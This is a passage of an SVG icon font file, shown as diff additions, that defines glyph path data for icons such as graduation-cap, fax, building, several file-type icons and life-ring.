16c13.2549 0 24 -10.7451 24 -24v-16c0 -4.41504 -3.58496 -8 -8 -8h-464 +c-4.41504 0 -8 3.58496 -8 8v16c0 13.2549 10.7451 24 24 24h432zM96 256h64v-192h64v192h64v-192h64v192h64v-192h36c6.62695 0 12 -5.37305 12 -12v-20h-416v20c0 6.62695 5.37305 12 12 12h36v192z" /> + <glyph glyph-name="graduation-cap" unicode="" horiz-adv-x="640" +d="M622.34 294.8c23.5498 -7.24023 23.5498 -38.3594 0 -45.5996l-278.95 -85.7002c-20.3496 -6.25 -37.7295 -2.78027 -46.79 0l-195.569 60.0898c-12.25 -8.41992 -19.9307 -21.7002 -20.6904 -36.7197c9.19043 -5.62012 15.6602 -15.2998 15.6602 -26.8701 +c0 -10.7803 -5.67969 -19.8496 -13.8604 -25.6504l25.5303 -114.88c2.21973 -9.98926 -5.37988 -19.4697 -15.6201 -19.4697h-56.1094c-10.2305 0 -17.8301 9.48047 -15.6104 19.4697l25.5303 114.88c-8.18066 5.80078 -13.8604 14.8701 -13.8604 25.6504 +c0 11.8896 6.78027 21.8496 16.4102 27.3701c0.649414 17.6201 7.20996 33.71 17.8799 46.8994l-48.6299 14.9404c-23.54 7.23047 -23.54 38.3604 0 45.5898l278.95 85.7002c15.1895 4.66992 31.5898 4.66992 46.79 0zM352.79 132.91l145.03 44.5596l14.1797 -113.47 +c0 -35.3496 -85.96 -64 -192 -64s-192 28.6504 -192 64l14.1797 113.46l145.021 -44.5498c12.75 -3.91992 37.0596 -8.75977 65.5898 0z" /> + <glyph glyph-name="language" unicode="" horiz-adv-x="640" +d="M152.1 211.8l10.9004 -37.5h-38.0996l11.0996 37.5c3.5 12.1006 7.7998 33.2002 7.7998 33.2002h0.5s4.2998 -21.0996 7.7998 -33.2002zM616 352c13.2998 0 24 -10.7002 24 -24v-272c0 -13.2998 -10.7002 -24 -24 -24h-280v320h280zM592 232v16 +c0 6.59961 -5.40039 12 -12 12h-64v16c0 6.59961 -5.40039 12 -12 12h-16c-6.59961 0 -12 -5.40039 -12 -12v-16h-64c-6.59961 0 -12 -5.40039 -12 -12v-16c0 -6.59961 5.40039 -12 12 -12h114.3c-6.2002 -14.2998 -16.5 -29 -30 -43.2002 +c-6.59961 6.90039 -12.3994 13.9004 -17.3994 20.9004c-3.60059 5.09961 -10.6006 6.59961 -16 3.39941l-7.30078 -4.2998l-6.5 -3.89941c-5.89941 -3.5 -7.69922 -11.4004 -3.69922 -17.1006c6.09961 -8.7002 13.0996 -17.2998 21 -25.7002 +c-8.10059 -6.2998 -16.8008 -12.2998 -26.1006 -18c-5.59961 -3.39941 -7.39941 -10.5996 -4.2002 -16.1992l7.90039 -13.9004c3.40039 -5.90039 10.9004 -7.7998 16.7002 -4.2998c12.7002 7.7998 24.5 16.2002 35.3994 24.8994 +c10.9004 -8.7998 22.8008 -17.0996 35.4004 -24.8994c5.7998 -3.5 13.2998 -1.60059 16.7002 4.2998l7.89941 13.9004c3.2002 5.69922 1.40039 12.7998 -4.09961 16.1992c-9 5.5 -17.7002 11.6006 -26.0996 18c21 22.5 35.7998 46.3008 42.6992 69.9004h11.4004 +c6.59961 0 12 5.40039 12 12zM0 328c0 13.2998 10.7002 24 24 24h280v-320h-280c-13.2998 0 -24 10.7002 -24 24v272zM58.9004 111.9c-2.60059 -7.80078 3.19922 -15.9004 11.3994 -15.9004h22.9004c5.2998 0 10 3.59961 11.5 8.7002l9.09961 31.7998h60.2002 +l9.40039 -31.9004c1.4668 -4.96582 6.06152 -8.5957 11.5 -8.59961h22.8994c8.2998 0 14 8.09961 11.4004 15.9004l-57.5 169.1c-1.7002 4.7998 -6.2998 8.09961 -11.4004 8.09961h-32.5c-5.2002 0 -9.7002 -3.19922 -11.3994 -8.09961z" /> + <glyph glyph-name="fax" unicode="" +d="M480 288c17.6611 0 32 -14.3389 32 -32v-288c0 -17.6611 -14.3389 -32 -32 -32h-320c-17.6611 0 -32 14.3389 -32 32v448c0 17.6611 14.3389 32 32 32h242.75c8.82715 -0.000976562 16.8291 -3.58008 22.6201 -9.37012l45.25 -45.25 +c5.7959 -5.79199 9.37891 -13.7979 9.37988 -22.6299v-82.75zM288 16v32c0 8.83105 -7.16895 16 -16 16h-32c-8.83105 0 -16 -7.16895 -16 -16v-32c0 -8.83105 7.16895 -16 16 -16h32c8.83105 0 16 7.16895 16 16zM288 144v32c0 8.83105 -7.16895 16 -16 16h-32 +c-8.83105 0 -16 -7.16895 -16 -16v-32c0 -8.83105 7.16895 -16 16 -16h32c8.83105 0 16 7.16895 16 16zM416 16v32c0 8.83105 -7.16895 16 -16 16h-32c-8.83105 0 -16 -7.16895 -16 -16v-32c0 -8.83105 7.16895 -16 16 -16h32c8.83105 0 16 7.16895 16 16zM416 144v32 +c0 8.83105 -7.16895 16 -16 16h-32c-8.83105 0 -16 -7.16895 -16 -16v-32c0 -8.83105 7.16895 -16 16 -16h32c8.83105 0 16 7.16895 16 16zM416 256v64h-48c-8.83105 0 -16 7.16895 -16 16v48h-160v-128h224zM64 320c17.6611 0 32 -14.3389 32 -32v-320 +c0 -17.6611 -14.3389 -32 -32 -32h-32c-17.6611 0 -32 14.3389 -32 32v320c0 17.6611 14.3389 32 32 32h32z" /> + <glyph glyph-name="building" unicode="" horiz-adv-x="448" +d="M436 -32c6.62695 0 12 -5.37305 12 -12v-20h-448v20c0 6.62695 5.37305 12 12 12h20v456c0 13.2549 10.7451 24 24 24h336c13.2549 0 24 -10.7451 24 -24v-456h20zM128 372v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12v40 +c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12zM128 276v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12zM180 128c6.62695 0 12 5.37305 12 12v40 +c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40zM256 -32v84c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-84h64zM320 140v40c0 6.62695 -5.37305 12 -12 12h-40 +c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM320 236v40c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12zM320 332v40 +c0 6.62695 -5.37305 12 -12 12h-40c-6.62695 0 -12 -5.37305 -12 -12v-40c0 -6.62695 5.37305 -12 12 -12h40c6.62695 0 12 5.37305 12 12z" /> + <glyph glyph-name="child" unicode="" horiz-adv-x="384" +d="M120 376c0 39.7646 32.2354 72 72 72s72 -32.2354 72 -72c0 -39.7637 -32.2354 -72 -72 -72s-72 32.2363 -72 72zM374.627 374.627c12.4971 -12.4971 12.4971 -32.7568 0 -45.2539l-94.627 -94.627v-266.746c0 -17.6729 -14.3271 -32 -32 -32h-16 +c-17.6729 0 -32 14.3271 -32 32v112h-16v-112c0 -17.6729 -14.3271 -32 -32 -32h-16c-17.6729 0 -32 14.3271 -32 32v266.746l-94.627 94.626c-12.4971 12.4971 -12.4971 32.7578 0 45.2549c12.4961 12.4971 32.7578 12.4971 45.2539 0l86.627 -86.627h101.491 +l86.6279 86.627c12.4961 12.4971 32.7578 12.4971 45.2539 0z" /> + <glyph glyph-name="paw" unicode="" +d="M256 224c79.4102 0 192 -122.76 192 -200.25c0 -34.9004 -26.8096 -55.75 -71.7402 -55.75c-48.4102 0 -80.75 25.0801 -120.26 25.0801c-39.1699 0 -71.4199 -25.0801 -120.26 -25.0801c-44.9307 0 -71.7402 20.8496 -71.7402 55.75c0 77.4902 112.59 200.25 192 200.25 +zM108.72 236.61c10.4004 -34.6504 -4.76953 -68.3799 -33.8896 -75.3408c-29.1201 -6.95996 -61.1602 15.4805 -71.5605 50.1309c-10.3994 34.6494 4.77051 68.3799 33.8906 75.3398s61.1602 -15.4805 71.5596 -50.1299zM193.44 257.39 +c-30.9307 -8.14941 -65.6201 20.4502 -77.46 63.8701c-11.8408 43.4199 3.63965 85.2207 34.5791 93.3604c30.9404 8.13965 65.6201 -20.4502 77.46 -63.8701c11.8408 -43.4199 -3.63965 -85.2197 -34.5791 -93.3604zM474.83 286.73 +c29.1201 -6.96094 44.29 -40.6904 33.8896 -75.3408c-10.4102 -34.6494 -42.4395 -57.0898 -71.5596 -50.1299s-44.29 40.6904 -33.8906 75.3398c10.4102 34.6504 42.4404 57.0908 71.5605 50.1309zM318.56 257.39c-30.9395 8.14062 -46.4199 49.9404 -34.5791 93.3604 +c11.8398 43.4199 46.5195 72.0195 77.46 63.8701c30.9395 -8.15039 46.4199 -49.9404 34.5791 -93.3604c-11.8398 -43.4199 -46.5195 -72.0098 -77.46 -63.8701z" /> + <glyph glyph-name="cube" unicode="" +d="M239.1 441.7c10.9004 4.09961 22.9004 4.09961 33.7002 -0.100586l208 -78c18.7002 -7 31.1006 -24.8994 31.1006 -44.8994v-225.101c0 -18.0996 -10.2002 -34.7998 -26.5 -42.8994l-208 -104c-13.5 -6.7998 -29.4004 -6.7998 -42.9004 0l-208 104 +c-16.2002 8.09961 -26.5 24.7002 -26.5 42.8994v225.101c0 20 12.4004 38 31.0996 45zM256 379.6l-192 -72v-1.09961l192 -78l192 78v1.09961zM288 23.5996l160 80v133.9l-160 -65v-148.9z" /> + <glyph glyph-name="cubes" unicode="" +d="M488.6 197.8c14.1006 -5.2998 23.4004 -18.7002 23.4004 -33.7002v-110.1c0 -13.5996 -7.7002 -26.0996 -19.9004 -32.2002l-100 -50c-10.0996 -5.09961 -22.0996 -5.09961 -32.1992 0l-103.9 52l-103.9 -52c-10.0996 -5.09961 -22.0996 -5.09961 -32.1992 0l-100 50 +c-12.2002 6.10059 -19.9004 18.6006 -19.9004 32.2002v110.1c0 15 9.2998 28.4004 23.2998 33.7002l96.6006 36.2002v108.5c0 15 9.2998 28.4004 23.3994 33.7002l100 37.5c8.2002 3.09961 17.2002 3.09961 25.2998 0l100 -37.5 +c14.1006 -5.2998 23.4004 -18.7002 23.4004 -33.7002v-108.5zM358 233.2v73.2998l-85 -37v-68.2002zM154 343.9v-0.600586l102 -41.3994l102 41.3994v0.600586l-102 38.1992zM238 52.7998v75.4004l-85 -38.7998v-79.1006zM238 164.8v0.600586l-102 38.1992l-102 -38.1992 +v-0.600586l102 -41.3994zM478 52.7998v75.4004l-85 -38.7998v-79.1006zM478 164.8v0.600586l-102 38.1992l-102 -38.1992v-0.600586l102 -41.3994z" /> + <glyph glyph-name="recycle" unicode="" +d="M184.561 186.097c3.23242 -13.9971 -12.1221 -24.6348 -24.0674 -17.168l-40.7363 25.4551l-50.8672 -81.4014c-13.2832 -21.2559 2.07031 -48.9824 27.1221 -48.9824h51.9883c6.62695 0 12 -5.37305 12 -12v-40c0 -6.62695 -5.37305 -12 -12 -12h-51.8848 +c-75.334 0 -121.302 83.0479 -81.4082 146.88l50.8223 81.3877l-40.7256 25.4482c-12.0811 7.54688 -8.96582 25.9609 4.87891 29.1582l110.237 25.4502c8.61133 1.9873 17.2012 -3.38086 19.1895 -11.9902zM283.122 369.012 +c-12.2842 19.6543 -41.5449 20.3193 -54.2568 -0.0214844l-17.9609 -28.7432c-3.5127 -5.62012 -10.916 -7.3291 -16.5361 -3.81738l-33.9189 21.1953c-5.62012 3.51172 -7.33008 10.9131 -3.82031 16.5332l17.9629 28.7656c37.6074 60.1709 125.295 60.0332 162.816 0 +l41.2627 -66.082l40.6875 25.4238c12.0771 7.55176 27.2646 -3.32324 24.0674 -17.168l-25.4502 -110.236c-1.97363 -8.55273 -10.5166 -13.9893 -19.1885 -11.9902l-110.237 25.4502c-13.8789 3.20508 -16.9297 21.6299 -4.87891 29.1572l40.7402 25.457zM497.288 146.88 +c39.9268 -63.8828 -6.13379 -146.88 -81.4082 -146.88h-95.8799v-47.9893c0 -14.3105 -17.3105 -21.3184 -27.3135 -11.3145l-80 79.9883c-6.24805 6.24805 -6.24805 16.3799 0 22.627l80 79.9814c10.0713 10.0703 27.3135 2.90039 27.3135 -11.3125v-47.9814h95.9844 +c25.0791 0 40.3926 27.749 27.1357 48.96l-27.5645 44.1123c-3.51172 5.62109 -1.80176 13.0234 3.81836 16.5361l33.8613 21.1582c5.62207 3.51367 13.0264 1.80273 16.5381 -3.82031z" /> + <glyph glyph-name="car" unicode="" +d="M499.99 272c7.80957 0 13.54 -7.33984 11.6494 -14.9102l-6 -24c-1.33008 -5.33984 -6.12988 -9.08984 -11.6396 -9.08984h-20.0703c13.4199 -11.7305 22.0703 -28.7803 22.0703 -48v-48c0 -16.1299 -6.16016 -30.6797 -16 -41.9297v-54.0703 +c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v32h-256v-32c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v54.0703c-9.83984 11.2598 -16 25.8096 -16 41.9297v48c0 19.2197 8.65039 36.2695 22.0801 48h-20.0703 +c-5.50977 0 -10.3096 3.75 -11.6396 9.08984l-6 24c-1.90039 7.57031 3.83008 14.9102 11.6396 14.9102h59.8604l16.6396 41.5996c17.1104 42.7705 57.9307 70.4004 103.99 70.4004h127c46.0703 0 86.8799 -27.6299 103.98 -70.4004l16.6396 -41.5996h59.8701z +M147.93 289.83l-19.9297 -49.8301h256l-19.9297 49.8301c-7.29004 18.2197 -24.9404 30.1699 -44.5703 30.1699h-127c-19.6299 0 -37.2803 -11.9502 -44.5703 -30.1699zM96 128.2c19.2002 0 48 -3.19043 48 15.9502c0 19.1396 -28.7998 47.8496 -48 47.8496 +s-32 -12.7598 -32 -31.9004c0 -19.1396 12.7998 -31.8994 32 -31.8994zM416 128.2c19.2002 0 32 12.7598 32 31.8994c0 19.1406 -12.7998 31.9004 -32 31.9004s-48 -28.71 -48 -47.8496c0 -19.1406 28.7998 -15.9502 48 -15.9502z" /> + <glyph glyph-name="taxi" unicode="" +d="M462 206.36c28.5898 -6.40039 50 -31.8301 50 -62.3604v-48c0 -23.6201 -12.9502 -44.0303 -32 -55.1201v-40.8799c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32v32h-256v-32c0 -17.6699 -14.3301 -32 -32 -32h-32c-17.6699 0 -32 14.3301 -32 32 +v40.8799c-19.0498 11.0801 -32 31.4902 -32 55.1201v48c0 30.5303 21.4102 55.96 50 62.3604l22 84.8398c9.59961 35.2002 41.5996 60.7998 76.7998 60.7998h11.2002v32c0 17.6699 14.3301 32 32 32h128c17.6699 0 32 -14.3301 32 -32v-32h11.2002 +c35.2002 0 67.2002 -25.5996 76.7998 -60.7998zM96 96c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32zM116.55 208h278.9l-17.3906 67.1396c-2.01953 7.37988 -9.37988 12.8604 -14.8496 12.8604h-214.4 +c-5.46973 0 -12.8291 -5.48047 -15.0596 -13.6396zM416 96c17.6699 0 32 14.3301 32 32s-14.3301 32 -32 32s-32 -14.3301 -32 -32s14.3301 -32 32 -32z" /> + <glyph glyph-name="tree" unicode="" horiz-adv-x="384" +d="M378.31 69.5098c6 -6.79004 7.36035 -16.0898 3.56055 -24.2598c-3.75 -8.0498 -12 -13.25 -21.0098 -13.25h-136.86v-24.4502l30.29 -48.3994c5.32031 -10.6406 -2.41992 -23.1602 -14.3096 -23.1602h-95.9609c-11.8896 0 -19.6299 12.5195 -14.3096 23.1602 +l30.29 48.3994v24.4502h-136.86c-9.00977 0 -17.2598 5.2002 -21.0098 13.25c-3.7998 8.16992 -2.43945 17.4697 3.56055 24.2598l79.8896 90.4902h-30.6299c-9.02051 0 -16.9805 5 -20.7803 13.0498c-3.79004 8.0498 -2.54004 17.2598 3.27051 24.04l78.1396 90.9102 +h-28.8896c-9.10059 0 -17.3105 5.34961 -20.8701 13.6104c-3.51074 8.12988 -1.86035 17.5898 4.23926 24.0801l110.28 117.479c6.04004 6.4502 17.29 6.4502 23.3203 0l110.27 -117.479c6.10059 -6.49023 7.76074 -15.9502 4.24023 -24.0801 +c-3.55957 -8.26074 -11.7598 -13.6104 -20.8604 -13.6104h-28.8896l78.1299 -90.8896c5.83008 -6.79004 7.08008 -16.0107 3.28027 -24.0508c-3.7998 -8.05957 -11.7705 -13.0596 -20.7803 -13.0596h-30.6299z" /> + <glyph glyph-name="database" unicode="" horiz-adv-x="448" +d="M448 374.857v-45.7148c0 -40.2852 -100.333 -73.1426 -224 -73.1426s-224 32.8574 -224 73.1426v45.7148c0 40.2852 100.333 73.1426 224 73.1426s224 -32.8574 224 -73.1426zM448 272v-102.857c0 -40.2852 -100.333 -73.1426 -224 -73.1426s-224 32.8574 -224 73.1426 +v102.857c48.125 -33.1426 136.208 -48.5723 224 -48.5723s175.874 15.4297 224 48.5723zM448 112v-102.857c0 -40.2852 -100.333 -73.1426 -224 -73.1426s-224 32.8574 -224 73.1426v102.857c48.125 -33.1426 136.208 -48.5723 224 -48.5723s175.874 15.4297 224 48.5723z +" /> + <glyph glyph-name="file-pdf" unicode="" horiz-adv-x="384" +d="M181.9 191.9c-5 16 -4.90039 46.8994 -2 46.8994c8.39941 0 7.59961 -36.8994 2 -46.8994zM180.2 144.7c9.59961 -17.4004 21.7998 -31.2002 34.5 -40.7998c-23.9004 -4.7002 -44.6006 -14.9004 -62.9004 -21.9004c11.1006 19.4004 20.7002 42.5 28.4004 62.7002z +M86.0996 19.9004c5.80078 15.6992 28.2002 33.8994 34.9004 40.1992c-21.7002 -34.7998 -34.9004 -41 -34.9004 -40.1992zM248 288h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136 +c0 -13.2002 10.7998 -24 24 -24zM240 116.2c-20 12.2002 -33.2998 29 -42.7002 53.7998c4.5 18.5 11.6006 46.5996 6.2002 64.2002c-4.7002 29.3994 -42.4004 26.5 -47.7998 6.7998c-5 -18.2998 -0.400391 -44.0996 8.09961 -77 +c-11.5996 -27.5996 -28.7002 -64.5996 -40.7998 -85.7998c-0.0996094 0 -0.0996094 -0.100586 -0.200195 -0.100586c-27.0996 -13.8994 -73.5996 -44.5 -54.5 -68c5.60059 -6.89941 16 -10 21.5 -10c17.9004 0 35.7002 18 61.1006 61.8008 +c25.7998 8.5 54.0996 19.0996 79 23.1992c21.6992 -11.7998 47.0996 -19.5 64 -19.5c29.1992 0 31.1992 32 19.6992 43.4004c-13.8994 13.5996 -54.2998 9.7002 -73.5996 7.2002zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6c6.40039 0 12.5 -2.5 17 -7z +M302.9 87.7002c0 0 -5.7002 -6.7998 -42.8008 9c40.3008 2.89941 46.9004 -6.2998 42.8008 -9z" /> + <glyph glyph-name="file-word" unicode="" horiz-adv-x="384" +d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM281.1 192c-5.59961 0 -10.5 -3.90039 -11.5 -9.5c-24.1992 -111.4 -21.7998 -118 -21.5996 -129.2 +c-0.799805 5.40039 -5.59961 29 -29.5996 129.4c-1.30078 5.39941 -6.10059 9.2002 -11.7002 9.2002h-29.1006c-5.59961 0 -10.3994 -3.7002 -11.6992 -9.10059c-22.1006 -90 -27.8008 -112.5 -29.4004 -122.7c-0.900391 12.7002 -5.40039 44.2002 -21 122.2 +c-1.09961 5.7002 -6.09961 9.7002 -11.7998 9.7002h-24.5c-7.7002 0 -13.4004 -7.09961 -11.7002 -14.5996l37.7998 -168c1.2002 -5.5 6.10059 -9.40039 11.7002 -9.40039h37.0996c5.5 0 10.3008 3.7998 11.6006 9.09961c23.2002 93.1006 24.5 96.2002 25.5996 110.5h0.5 +c4.7998 -29.2998 -0.200195 -7 25.6006 -110.5c1.2998 -5.2998 6.09961 -9.09961 11.5996 -9.09961h38c5.59961 0 10.5 3.7998 11.7002 9.2998l38 168c1.7002 7.60059 -4 14.7002 -11.7002 14.7002h-23.9004zM384 326.1v-6.09961h-128v128h6.09961 +c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004z" /> + <glyph glyph-name="file-excel" unicode="" horiz-adv-x="384" +d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM284.1 205.5c5.10059 8 -0.599609 18.5 -10.0996 18.4004h-34.7998 +c-4.40039 0 -8.5 -2.40039 -10.6006 -6.30078c-30.5 -56.7998 -36.5996 -68.5 -36.5996 -68.5c-16.5996 34.9004 -10.5 19.7002 -36.5996 68.5c-2.10059 3.90039 -6.2002 6.30078 -10.6006 6.30078h-34.7998c-9.5 0 -15.2998 -10.5 -10.0996 -18.5l60.2998 -93.5 +l-60.2998 -93.5c-5.10059 -8 0.599609 -18.5 10.0996 -18.5h34.9004c4.39941 0 8.39941 2.39941 10.5 6.2998c26.5996 48.7998 30.1992 54 36.5996 68.7998c0 0 16.9004 -32.5 36.5 -68.7002c2.09961 -3.89941 6.2002 -6.2998 10.5996 -6.2998h34.9004 +c9.5 0 15.2002 10.5 10.0996 18.5l-60.0996 93.5zM384 326.1v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004z" /> + <glyph glyph-name="file-powerpoint" unicode="" horiz-adv-x="384" +d="M193.7 176.8c8.7998 0 15.5 -2.7002 20.2998 -8.09961c9.59961 -10.9004 9.7998 -32.7002 -0.200195 -44.1006c-4.89941 -5.59961 -11.8994 -8.5 -21.0996 -8.5h-26.9004v60.7002h27.9004zM377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6 +c6.40039 0 12.5 -2.5 17 -7zM224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM277 146.8c0 44.2002 -28.4004 77 -72.9004 77h-81 +c-6.59961 0 -12 -5.39941 -12 -12v-199.8c0 -6.59961 5.40039 -12 12 -12h30.8008c6.59961 0 12 5.40039 12 12v57.2002c22.2998 0 111.1 -12.7002 111.1 77.5996z" /> + <glyph glyph-name="file-image" unicode="" horiz-adv-x="384" +d="M384 326.059v-6.05859h-128v128h6.05859c6.62305 0 12.626 -2.68457 16.9707 -7.0293l97.9404 -97.9404c4.34473 -4.34473 7.03027 -10.3477 7.03027 -16.9717zM248 288h136v-328c0 -13.2549 -10.7451 -24 -24 -24h-336c-13.2549 0 -24 10.7451 -24 24v464 +c0 13.2549 10.7451 24 24 24h200v-136c0 -13.2002 10.7998 -24 24 -24zM112.545 272c-26.5088 0 -48 -21.4902 -48 -48s21.4902 -48 48 -48s48 21.4902 48 48s-21.4902 48 -48 48zM320.545 32v112l-39.5137 39.5146c-4.6875 4.68652 -12.2852 4.68652 -16.9717 0 +l-103.515 -103.515l-39.5146 39.5146c-4.68652 4.68652 -11.7988 5.1709 -16.4854 0.485352l-39.5146 -39.5146l-0.485352 -48.4854h256z" /> + <glyph glyph-name="file-archive" unicode="" horiz-adv-x="384" +d="M377 343c4.5 -4.5 7 -10.5996 7 -16.9004v-6.09961h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7zM128.4 112c17.8994 0 32.5 -12.0996 32.5 -27s-14.5 -27 -32.4004 -27s-32.5 12 -32.5 27c0 14.9004 14.5 27 32.4004 27zM224 312c0 -13.2002 10.7998 -24 24 -24h136 +v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h104.4v-32h32v32h63.5996v-136zM95.9004 416v-32h32v32h-32zM128.2 32c33 0 57.7998 30.2002 51.3994 62.5996l-17.2998 87.7002 +c-1.09961 5.60059 -6.09961 9.7002 -11.7998 9.7002h-22.0996v32h32v32h-32v32h32v32h-32v32h32v32h-32v-32h-32v-32h32v-32h-32v-32h32v-32h-32v-32l-19.6006 -97.0996c-6.59961 -32.5 18.2002 -62.9004 51.4004 -62.9004z" /> + <glyph glyph-name="file-audio" unicode="" horiz-adv-x="384" +d="M224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2998 -10.7002 -24 -24 -24h-336c-13.2998 0 -24 10.7002 -24 24v464c0 13.2998 10.7002 24 24 24h200v-136zM160 44v136c0 10.7002 -12.9004 16.0996 -20.5 8.5l-35.5 -36.5h-28c-6.59961 0 -12 -5.40039 -12 -12 +v-56c0 -6.59961 5.40039 -12 12 -12h28l35.5 -36.5c7.59961 -7.5 20.5 -2.2002 20.5 8.5zM193.2 91.5996c-22.5 -23.0996 12.5996 -55.7998 34.3994 -33.5c27.2002 28 27.2002 72.5 0 100.4c-22.1992 22.7002 -56.5 -10.7002 -34.3994 -33.5 +c9.09961 -9.2998 9.09961 -24.0996 0 -33.4004zM279.2 208.7c-22.1006 22.7998 -56.5 -10.7002 -34.4004 -33.5c36.2998 -37.2998 36.2002 -96.6006 0 -133.8c-22.5996 -23.2002 12.6006 -55.9004 34.4004 -33.5c54.3994 56 54.3994 144.899 0 200.8zM384 326.1v-6.09961 +h-128v128h6.09961c6.40039 0 12.5 -2.5 17 -7l97.9004 -98c4.5 -4.5 7 -10.5996 7 -16.9004z" /> + <glyph glyph-name="file-video" unicode="" horiz-adv-x="384" +d="M384 326.059v-6.05859h-128v128h6.05859c6.36523 0 12.4707 -2.5293 16.9717 -7.0293l97.9404 -97.9404c4.34375 -4.34473 7.0293 -10.3486 7.0293 -16.9717zM224 312c0 -13.2002 10.7998 -24 24 -24h136v-328c0 -13.2549 -10.7451 -24 -24 -24h-336 +c-13.2549 0 -24 10.7451 -24 24v464c0 13.2549 10.7451 24 24 24h200v-136zM320 167.984c0 21.4609 -25.96 31.9795 -40.9707 16.9697l-55.0293 -55.0127v38.0586c0 13.2549 -10.7451 24 -24 24h-112c-13.2549 0 -24 -10.7451 -24 -24v-112c0 -13.2549 10.7451 -24 24 -24 +h112c13.2549 0 24 10.7451 24 24v38.0586l55.0293 -55.0088c15.0273 -15.0264 40.9707 -4.47363 40.9707 16.9717v111.963z" /> + <glyph glyph-name="file-code" unicode="" horiz-adv-x="384" +d="M384 326.059v-6.05859h-128v128h6.05859c6.36523 0 12.4707 -2.5293 16.9717 -7.0293l97.9404 -97.9404c4.34375 -4.34473 7.0293 -10.3486 7.0293 -16.9717zM248 288h136v-328c0 -13.2549 -10.7451 -24 -24 -24h-336c-13.2549 0 -24 10.7451 -24 24v464 +c0 13.2549 10.7451 24 24 24h200v-136c0 -13.2002 10.7998 -24 24 -24zM123.206 47.4951l19.5791 20.8838c0.905273 0.96582 1.46289 2.26562 1.46289 3.69238c0 1.61426 -0.709961 3.06445 -1.83496 4.05469l-40.7627 35.874l40.7627 35.874 +c1.125 0.990234 1.83203 2.44043 1.83203 4.05566c0 1.42676 -0.554688 2.72559 -1.45996 3.69141l-19.5791 20.8848c-0.985352 1.05176 -2.3877 1.70703 -3.94141 1.70703c-1.42676 0 -2.72559 -0.555664 -3.69141 -1.46094l-64.8662 -60.8115 +c-1.05078 -0.986328 -1.70801 -2.38672 -1.70801 -3.93945c0 -1.55371 0.657227 -2.9541 1.70801 -3.94043l64.8662 -60.8115c0.96582 -0.905273 2.26562 -1.46289 3.69336 -1.46289c1.55273 0 2.9541 0.657227 3.93945 1.70898zM174.501 -2.98438 +c0.478516 -0.138672 0.982422 -0.212891 1.50488 -0.212891c2.45801 0 4.53418 1.64551 5.18555 3.89453l61.4395 211.626c0.138672 0.478516 0.213867 0.982422 0.213867 1.50488c0 2.45801 -1.64551 4.53418 -3.89355 5.18652l-27.4521 7.9707 +c-0.477539 0.138672 -0.981445 0.212891 -1.50391 0.212891c-2.45801 0 -4.53516 -1.64551 -5.18848 -3.89453l-61.4395 -211.626c-0.138672 -0.477539 -0.212891 -0.981445 -0.212891 -1.50293c0 -2.45898 1.64551 -4.53516 3.89355 -5.18848zM335.293 108.061 +c1.05176 0.986328 1.70898 2.38672 1.70898 3.94043c0 1.55273 -0.657227 2.95312 -1.70801 3.93945l-64.8662 60.8115c-0.96582 0.905273 -2.26562 1.46289 -3.69336 1.46289c-1.55273 0 -2.9541 -0.657227 -3.93945 -1.70898l-19.5801 -20.8848 +c-0.905273 -0.96582 -1.46289 -2.26562 -1.46289 -3.69238c0 -1.61426 0.709961 -3.06445 1.83496 -4.05469l40.7627 -35.874l-40.7637 -35.873c-1.125 -0.990234 -1.83203 -2.44043 -1.83203 -4.05566c0 -1.42676 0.554688 -2.72559 1.45996 -3.69141l19.5801 -20.8848 +c0.985352 -1.05176 2.3877 -1.70703 3.94141 -1.70703c1.42676 0 2.72559 0.555664 3.69141 1.46094z" /> + <glyph glyph-name="life-ring" unicode="" +d="M256 440c136.967 0 248 -111.033 248 -248s-111.033 -248 -248 -248s-248 111.033 -248 248s111.033 248 248 248zM429.696 320.441c-12.8584 17.3291 -27.9258 32.3965 -45.2549 45.2549l-63.3994 -63.3994c18.585 -11.0029 34.2676 -26.6963 45.2549 -45.2549zM256 96 +c53.0186 0 96 42.9814 96 96s-42.9814 96 -96 96s-96 -42.9814 -96 